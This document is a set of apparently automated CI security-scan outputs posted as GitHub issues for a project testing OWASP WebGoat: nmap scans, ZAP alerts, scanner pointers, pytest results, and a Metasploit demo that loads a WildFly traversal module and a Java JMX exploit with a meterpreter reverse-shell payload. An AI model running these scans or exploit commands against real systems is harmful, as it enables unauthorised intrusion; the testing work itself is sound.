bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 05:53 UTC

Nmap scan report for 20.219.39.173

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|_ 256 ea:eb:bb:52:4c:86:65:54:92:21:8c:f3:c0:13:77:00 (ECDSA)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|_http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 11 Nov 2023 05:56:13 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Sat, 11 Nov 2023 05:56:12 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 11 Nov 2023 05:56:12 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-11T05:56:12.525+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 11 Nov 2023 05:56:30 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-11T05:56:30.105+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/11%Time=654F177C%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sat, 11 Nov 2023 05:56:

SF:12 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sat, 11\n

SF:x20Nov 2023 05:56:12 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 11\x

SF:20Nov 2023 05:56:13 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/11%Time=654F177C%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Sat, 11 Nov 2023 05:56:12\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-11-11T05:56:12.525+00:00\n

SF:", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

")%r(SqueezeCenter_

SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Sat, 11 Nov 2023 05:56

SF::30 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-11T05

SF::56:30.105+00:00\", \"status\" : 404, \"error

SF:\" : \"Not Found\", \"path\" : \"/\" }")%r(RTS

SF:PRequest,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel:4.4 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.01 ms 172.17.0.1

2 5407.88 ms 20.219.39.173

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 319.65 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 05:58 UTC

Nmap scan report for 20.219.39.173

Host is up (0.19s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 05:58 UTC

Nmap scan report for 20.219.39.173

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds

# Priority-High - OWASP WebGoat Login Page ZAP Scan

GitHub Issue number # 695

GitHub Issue URL : Here!

- Site: http://20.219.39.173:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/robots.txt
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 12:
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6774114667

# Priority-High - OWASP WebGoat Registration Page ZAP Scan

GitHub Issue number # 694

GitHub Issue URL : Here!

- Site: http://20.219.39.173:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.219.39.173:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.219.39.173:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.219.39.173:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.219.39.173:8080/WebGoat/registration
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/registration
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/registration
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/registration
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/registration
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/robots.txt
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/registration
  - **User Agent Fuzzer** [10104] total: 12:
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - http://20.219.39.173:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6774114667

- Site: http://4.188.240.134:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.188.240.134:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.188.240.134:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.188.240.134:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.188.240.134:8080/WebGoat/registration

    - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/robots.txt
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/registration
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/robots.txt
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/registration
    - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/robots.txt
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/registration
    - **Sec-Fetch-User Header is Missing** [90005] total: 4:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/robots.txt
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/registration
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/robots.txt
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/registration
    - **User Agent Fuzzer** [10104] total: 12:
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6833255531

- Site: http://20.204.140.188:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://20.204.140.188:8080/WebGoat/registration
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://20.204.140.188:8080/WebGoat/registration
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://20.204.140.188:8080/WebGoat/registration
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://20.204.140.188:8080/WebGoat/registration
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/registration
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/registration
    - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/registration

    - **Sec-Fetch-User Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/registration
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/registration
    - **User Agent Fuzzer** [10104] total: 12:
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6846777324

- Site: http://4.224.49.85:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://4.224.49.85:8080/WebGoat/registration
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://4.224.49.85:8080/WebGoat/registration
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://4.224.49.85:8080/WebGoat/registration
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://4.224.49.85:8080/WebGoat/registration
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/registration
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/registration
    - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/registration
    - **Sec-Fetch-User Header is Missing** [90005] total: 3:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/registration
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/robots.txt
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/registration
    - **User Agent Fuzzer** [10104] total: 12:
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6887480431

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 693

GitHub Issue URL : Here!

**SonarCloud**
**"priority High"**

# SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 692

GitHub Issue URL : Here!

**Snyk_scan**
**"priotity High"**

# Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

# Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 691

GitHub Issue URL : Here!

**parrotOS**
**metasploit**
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:8 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Ign:9 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:10 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:11 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 1min 32s (212 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 20.198.123.15

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

---

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

# Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 690

GitHub Issue URL : Here!

**Playwright**
**pytest**
**"priority High"**

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0, asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [ 60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 24.08s ==============================

Stop pytests....

# Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 689

GitHub Issue URL : Here!

- Site: http://20.198.123.15:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.198.123.15:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.198.123.15:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.198.123.15:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://20.198.123.15:8080/WebGoat/login
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.198.123.15:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://20.198.123.15:8080/
    - http://20.198.123.15:8080/sitemap.xml
    - http://20.198.123.15:8080/WebGoat/login
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://20.198.123.15:8080/
    - http://20.198.123.15:8080/sitemap.xml
    - http://20.198.123.15:8080/WebGoat/login
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://20.198.123.15:8080/
    - http://20.198.123.15:8080/sitemap.xml
    - http://20.198.123.15:8080/WebGoat/login
    - http://20.198.123.15:8080/WebGoat/start.mvc
